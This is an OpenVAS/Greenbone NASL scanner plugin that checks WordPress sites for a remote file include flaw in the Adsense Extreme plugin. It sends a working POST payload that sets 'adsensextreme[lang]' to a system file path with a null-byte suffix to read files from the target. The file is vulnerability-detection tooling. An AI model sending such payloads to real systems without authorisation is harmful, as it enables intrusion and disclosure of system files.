WordPress Adsense Extreme Plugin 'adsensextreme[lang]' Parameter Remote File Include Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103264");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-09-22 13:43:24 +0200 (Thu, 22 Sep 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("WordPress Adsense Extreme Plugin 'adsensextreme[lang]' Parameter Remote File Include Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_wordpress_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49713");
  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/adsense-extreme/");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more details.");

  script_tag(name:"summary", value:"The Adsense Extreme plug-in for WordPress is prone to a remote
  file-include vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application and the underlying system. Other attacks are also possible.");

  script_tag(name:"affected", value:"Adsense Extreme 1.0.3 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();
filename = dir + "/wp-content/plugins/adsense-extreme/adsensextremeadminpage.php";
useragent = http_get_user_agent();

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
host = http_host_name(port:port);

foreach file(keys(files)) {

  variables = string("adsensextreme[lang]=/", files[file], "%00");

  req = string(
      "POST ", filename, " HTTP/1.1\r\n",
      "Referer: http://", host, filename, "\r\n",
      "Host: ", host, "\r\n",
      "User-Agent: ", useragent, "\r\n",
      "Content-Type: application/x-www-form-urlencoded\r\n",
      "Content-Length: ", strlen(variables),
      "\r\n\r\n",
      variables
  );

  res = http_send_recv(port:port, data:req, bodyonly:FALSE);
  if(egrep(pattern:file, string:res, icase:TRUE)) {
    report = http_report_vuln_url(port:port, url:filename);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);